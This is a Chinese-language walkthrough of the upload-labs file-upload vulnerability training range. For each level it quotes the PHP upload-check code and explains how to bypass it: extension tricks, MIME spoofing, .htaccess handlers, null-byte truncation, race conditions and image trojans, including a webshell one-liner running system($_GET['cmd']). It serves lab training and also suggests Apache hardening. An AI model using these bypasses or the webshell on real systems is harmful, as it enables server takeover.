上传漏洞总结-upload-labs

上传漏洞总结-upload-labs

介绍：

Upload-labs是一个所有类型的上传漏洞的靶场

项目地址：https://github.com/c0ny1/upload-labs

思维导图：

小试牛刀：

Pass-01

客户端js检查

思路：将PHP后缀的文件，改为.jpg格式的，然后上传抓包，将后缀名改回去，改成.php后缀的格式，即可绕过前端JS的校验

getshell

Pass-02

直接上产PHP脚本文件，提示如下：

绕过思路：类型绕过： image/jpeg

getshell

pass-03

黑名单绕过，禁止上传.asp|.aspx|.php|.jsp后缀文件！

绕过思路：上传：.php3 .phtml

具体原理

<IfModule php5_module>

    PHPIniDir "C:/phpStudy-01/PHP/"

    AddType application/x-httpd-php .php .phtml

    AddType application/x-httpd-php .php .phtml .php3

    AddType application/x-httpd-php-source .phps

</IfModule>

getshell

pass-04

黑名单绕过

getshell

原理：

先来看一下apache的主配置文件httpd.conf，搜索“DefaultType”，就可以看到这么一段注释和默认配置：

#
# DefaultType: the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value. If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#10DefaultType text/plain

DefaultType存在的意义是告诉apache该如何处理未知扩展名的文件，比如f4ck.xxx这样的文件，扩展名是xxx，这肯定不是一个正常的网页或脚本文件，这个参数就是告诉apache该怎么处理这种未知扩展名的文件。

参数DefaultType的默认值是“text/plain”，也就是遇到未知扩展名的文件，就把它当作普通的txt文本或html文件来处理。

测试一

比如我将以下代码保存为f4ck.xxx 默认解析成文本

测试二

那么，对于文件内容为php代码的未知扩展名文件来说也是解析成文本

对于f4ck.php.xxx，那么就会被以module方式运行php的apache解析，因为Apache认为一个文件可以拥有多个扩展名，哪怕没有文件名，也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的，就继续往左判断，直到判断到文件名为止。

解决方案一

在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为*.php.*的访问权限：

<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>

解决方案二

如果需要保留文件名，可以修改程序源代码，替换上传文件名中的“.”为“_”：

$filename = str_replace('.', '_', $filename);

还可以上传：.htaccess

内容为：SetHandler application/x-httpd-php

然后更改PHP的后缀为：.gif 即可

pass-05

黑名单绕过本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件！

貌似没有.PHP结尾的文件，可以尝试下

getshell

pass-06

黑名单机制，查看源码：

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists(UPLOAD_PATH)) {

        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

        $file_name = $_FILES['upload_file']['name'];

        $file_name = deldot($file_name);//删除文件名末尾的点

        $file_ext = strrchr($file_name, '.');

        $file_ext = strtolower($file_ext); //转换为小写

        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA



        if (!in_array($file_ext, $deny_ext)) {

            $temp_file = $_FILES['upload_file']['tmp_name'];

            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

            if (move_uploaded_file($temp_file,$img_path)) {

                $is_upload = true;

            } else {

                $msg = '上传出错！';

            }

        } else {

            $msg = '此文件不允许上传';

        }

    } else {

        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';

    }

}

没有对文件的末尾的空格进行处理，所以可以尝试绕过

getshell

pass-07

黑名单机制

查看源码：

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists(UPLOAD_PATH)) {

        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

        $file_name = trim($_FILES['upload_file']['name']);

        $file_ext = strrchr($file_name, '.');

        $file_ext = strtolower($file_ext); //转换为小写

        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        $file_ext = trim($file_ext); //首尾去空



        if (!in_array($file_ext, $deny_ext)) {

            $temp_file = $_FILES['upload_file']['tmp_name'];

            $img_path = UPLOAD_PATH.'/'.$file_name;

            if (move_uploaded_file($temp_file, $img_path)) {

                $is_upload = true;

            } else {

                $msg = '上传出错！';

            }

        } else {

            $msg = '此文件类型不允许上传！';

        }

    } else {

        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';

    }

}

可以尝试.php.xxx的方式绕过

getshell

pass-08

黑名单绕过

查看源码：去除字符串::$DATA

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists(UPLOAD_PATH)) {

        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

        $file_name = trim($_FILES['upload_file']['name']);

        $file_name = deldot($file_name);//删除文件名末尾的点

        $file_ext = strrchr($file_name, '.');

        $file_ext = strtolower($file_ext); //转换为小写

        $file_ext = trim($file_ext); //首尾去空



        if (!in_array($file_ext, $deny_ext)) {

            $temp_file = $_FILES['upload_file']['tmp_name'];

            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

            if (move_uploaded_file($temp_file, $img_path)) {

                $is_upload = true;

            } else {

                $msg = '上传出错！';

            }

        } else {

            $msg = '此文件类型不允许上传！';

        }

    } else {

        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';

    }

}

进行绕过：

getshell

pass-09

黑名单绕过

分析源码：

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists(UPLOAD_PATH)) {

        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

        $file_name = trim($_FILES['upload_file']['name']);

        $file_name = deldot($file_name);//删除文件名末尾的点

        $file_ext = strrchr($file_name, '.');

        $file_ext = strtolower($file_ext); //转换为小写

        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        $file_ext = trim($file_ext); //首尾去空



        if (!in_array($file_ext, $deny_ext)) {

            $temp_file = $_FILES['upload_file']['tmp_name'];

            $img_path = UPLOAD_PATH.'/'.$file_name;

            if (move_uploaded_file($temp_file, $img_path)) {

                $is_upload = true;

            } else {

                $msg = '上传出错！';

            }

        } else {

            $msg = '此文件类型不允许上传！';

        }

    } else {

        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';

    }

}

绕过方式1：

*.php.xxx

绕过方式2：

*.php. . (点+空格+点)

pass-10

黑名单机制

源码：

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists(UPLOAD_PATH)) {

        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);

        $file_name = str_ireplace($deny_ext,"", $file_name); #将黑名单中的后缀替换为空

        $temp_file = $_FILES['upload_file']['tmp_name'];

        $img_path = UPLOAD_PATH.'/'.$file_name;

        if (move_uploaded_file($temp_file, $img_path)) {

            $is_upload = true;

        } else {

            $msg = '上传出错！';

        }

    } else {

        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';

    }

}

尝试双写后缀名绕过： c99.pphphp 替换了.后面的PHP就剩下了c99.php了

getshell

pass-11

备注：11 12管需要关闭magic_quotes_gpc=Off 函数

引用的过程中只有在传递$_GET,$_POST,$_COOKIE时才会发生作用

白名单

源码：

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

    $ext_arr = array('jpg','png','gif');

    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

    if(in_array($file_ext,$ext_arr)){

        $temp_file = $_FILES['upload_file']['tmp_name'];

        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){

            $is_upload = true;

        } else {

            $msg = '上传出错！';

        }

    } else{

        $msg = "只允许上传.jpg|.png|.gif类型文件！";

    }

}

看到imge_path是拼接的，所以可以尝试%00 截断，关于截断大致说下原理：

常见的截断上传有：0x00，%00，/00 截断的核心在于chr(0)这个字符，这个函数表示返回以数值表达式值为编码的字符，举个例，print chr（78）结果是N，所以char(0)表示的ascll字符是null，当程序输出包含chr(0)变量时，chr(0)后面的数据会被截断，后面的数据直接忽略，导致漏洞产生。

getshell

pass-12

截断上传

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

    $ext_arr = array('jpg','png','gif');

    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

    if(in_array($file_ext,$ext_arr)){

        $temp_file = $_FILES['upload_file']['tmp_name'];

        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){

            $is_upload = true;

        } else {

            $msg = "上传失败";

        }

    } else {

        $msg = "只允许上传.jpg|.png|.gif类型文件！";

    }

}

分析：img_path依然是拼接的路径，但是这次试用的post方式，还是利用00截断，但这次需要在二进制中进行修改，因为post不会像get对%00进行自动解码

空格的十六进制是20 ，讲0x20 改成0x00 也就是00

getshell

pass-13

查看源码，要求上传图片木马

function getReailFileType($filename){

    $file = fopen($filename, "rb");

    $bin = fread($file, 2); //只读2字节

    fclose($file);

    $strInfo = @unpack("C2chars", $bin);

    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);

    $fileType = '';

    switch($typeCode){

        case 255216:

            $fileType = 'jpg';

            break;

        case 13780:

            $fileType = 'png';

            break;

        case 7173:

            $fileType = 'gif';

            break;

        default:

            $fileType = 'unknown';

        }

        return $fileType;

}

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

    $temp_file = $_FILES['upload_file']['tmp_name'];

    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){

        $msg = "文件未知，上传失败！";

    }else{

        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;

        if(move_uploaded_file($temp_file,$img_path)){

            $is_upload = true;

        } else {

            $msg = "上传出错！";

        }

    }

}

通过读文件的前2个字节判断文件类型，因此直接上传图片马即可，制作方法：

第一种方法：copy normal.jpg /b + shell.php /a webshell.jpg

第二种方法：exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 1.jpg

Pass-14

图片头绕过

具体操作如下：

将PHP木马文件，改成*.php;.jpg

抓包，给文件头部加上：GIF89a 图片头标识

pass-15

php_exif模块来判断文件类型，还是直接就可以利用图片马就可进行绕过

Pass-16

查看源码：

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])){

    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径

    $filename = $_FILES['upload_file']['name'];

    $filetype = $_FILES['upload_file']['type'];

    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.basename($filename);

    // 获得上传文件的扩展名

    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作

    if(($fileext == "jpg") && ($filetype=="image/jpeg")){

        if(move_uploaded_file($tmpname,$target_path))

        {

            //使用上传的图片生成新的图片

            $im = imagecreatefromjpeg($target_path);

            if($im == false){

                $msg = "该文件不是jpg格式的图片！";

                @unlink($target_path);

            }else{

                //给新图片指定文件名

                srand(time());

                $newfilename = strval(rand()).".jpg";

                $newimagepath = UPLOAD_PATH.$newfilename;

                imagejpeg($im,$newimagepath);

                //显示二次渲染后的图片（使用用户上传图片生成的新图片）

                $img_path = UPLOAD_PATH.$newfilename;

                @unlink($target_path);

                $is_upload = true;

            }

        } else {

            $msg = "上传出错！";

        }

    }else if(($fileext == "png") && ($filetype=="image/png")){

        if(move_uploaded_file($tmpname,$target_path))

        {

            //使用上传的图片生成新的图片

            $im = imagecreatefrompng($target_path);

            if($im == false){

                $msg = "该文件不是png格式的图片！";

                @unlink($target_path);

            }else{

                 //给新图片指定文件名

                srand(time());

                $newfilename = strval(rand()).".png";

                $newimagepath = UPLOAD_PATH.$newfilename;

                imagepng($im,$newimagepath);

                //显示二次渲染后的图片（使用用户上传图片生成的新图片）

                $img_path = UPLOAD_PATH.$newfilename;

                @unlink($target_path);

                $is_upload = true;

            }

        } else {

            $msg = "上传出错！";

        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){

        if(move_uploaded_file($tmpname,$target_path))

        {

            //使用上传的图片生成新的图片

            $im = imagecreatefromgif($target_path);

            if($im == false){

                $msg = "该文件不是gif格式的图片！";

                @unlink($target_path);

            }else{

                //给新图片指定文件名

                srand(time());

                $newfilename = strval(rand()).".gif";

                $newimagepath = UPLOAD_PATH.$newfilename;

                imagegif($im,$newimagepath);

                //显示二次渲染后的图片（使用用户上传图片生成的新图片）

                $img_path = UPLOAD_PATH.$newfilename;

                @unlink($target_path);

                $is_upload = true;

            }

        } else {

            $msg = "上传出错！";

        }

    }else{

        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";

    }

}

综合判断了后缀名、content-type，以及利用imagecreatefromgif判断是否为gif图片，最后再做了一次二次渲染，绕过方法还是上传图片木马

pass-17

竞争条件：

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

    $ext_arr = array('jpg','png','gif');

    $file_name = $_FILES['upload_file']['name'];

    $temp_file = $_FILES['upload_file']['tmp_name'];

    $file_ext = substr($file_name,strrpos($file_name,".")+1);

    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){

        if(in_array($file_ext,$ext_arr)){

             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

             rename($upload_file, $img_path);

             $is_upload = true;

        }else{

            $msg = "只允许上传.jpg|.png|.gif类型文件！";

            unlink($upload_file);

        }

    }else{

        $msg = '上传出错！';

    }

}

这里先将文件上传到服务器，然后通过rename修改名称，再通过unlink删除文件，因此可以通过条件竞争的方式在unlink之前，访问webshell。

首先在burp中不断发送上传webshell的数据包

pass-18

分析源码：

$is_upload = false;

$msg = null;

if (isset($_POST['submit']))

{

    require_once("./myupload.php");

    $imgFileName =time();

    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);

    $status_code = $u->upload(UPLOAD_PATH);

    switch ($status_code) {

        case 1:

            $is_upload = true;

            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;

            break;

        case 2:

            $msg = '文件已经被上传，但没有重命名。';

            break;

        case -1:

            $msg = '这个文件不能上传到服务器的临时文件存储目录。';

            break;

        case -2:

            $msg = '上传失败，上传目录不可写。';

            break;

        case -3:

            $msg = '上传失败，无法上传该类型文件。';

            break;

        case -4:

            $msg = '上传失败，上传的文件过大。';

            break;

        case -5:

            $msg = '上传失败，服务器已经存在相同名称文件。';

            break;

        case -6:

            $msg = '文件无法上传，文件不能复制到目标目录。';

            break;

        default:

            $msg = '未知错误！';

            break;

    }

}

//myupload.php

class MyUpload{

......

......

......

var $cls_arr_ext_accepted = array(

      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",

      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......

......

......

/** upload()

   **

   ** Method to upload the file.

   ** This is the only method to call outside the class.

   ** @para String name of directory we upload to

   ** @returns void

**/

function upload( $dir ){



    $ret = $this->isUploadedFile();



    if( $ret != 1 ){

      return $this->resultUpload( $ret );

    }

    $ret = $this->setDir( $dir );

    if( $ret != 1 ){

      return $this->resultUpload( $ret );

    }

    $ret = $this->checkExtension();

    if( $ret != 1 ){

      return $this->resultUpload( $ret );

    }

    $ret = $this->checkSize();

    if( $ret != 1 ){

      return $this->resultUpload( $ret );

    }



    // if flag to check if the file exists is set to 1



    if( $this->cls_file_exists == 1 ){



      $ret = $this->checkFileExists();

      if( $ret != 1 ){

        return $this->resultUpload( $ret );

      }

    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();

    if( $ret != 1 ){

      return $this->resultUpload( $ret );

    }

    // check if we need to rename the file

   if( $this->cls_rename_file == 1 ){

      $ret = $this->renameFile();

      if( $ret != 1 ){

        return $this->resultUpload( $ret );

      }

    }



    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );

}

......

......

......

};

对文件后缀名做了白名单判断，然后会一步一步检查文件大小、文件是否存在等等，将文件上传后，对文件重新命名，同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包，由于条件竞争，程序会出现来不及rename的问题，从而上传成功

pass-19

源码：

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists(UPLOAD_PATH)) {

        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_POST['save_name']);

        $file_name = deldot($file_name);//删除文件名末尾的点

        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        $file_ext = strtolower($file_ext); //转换为小写

        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        $file_ext = trim($file_ext); //首尾去空

        if(!in_array($file_ext,$deny_ext)) {

            $temp_file = $_FILES['upload_file']['tmp_name'];

           $img_path = UPLOAD_PATH . '/' .$file_name;

            if (move_uploaded_file($temp_file, $img_path)) {

                $is_upload = true;

            }else{

                $msg = '上传出错！';

            }

        }else{

            $msg = '禁止保存为该类型文件！';

        }

    } else {

        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';

    }

}

此漏洞属于截断上传，上传的文件名用0x00绕过。改成*.php【二进制00】.1.jpg，上传文件名改成要自己定义

参考：

https://xz.aliyun.com/t/2435
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原文地址：https://www.cnblogs.com/hack404/p/10385049.html

上传漏洞总结-upload-labs

介绍：

思维导图：

小试牛刀：

Pass-01

Pass-02

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pass-19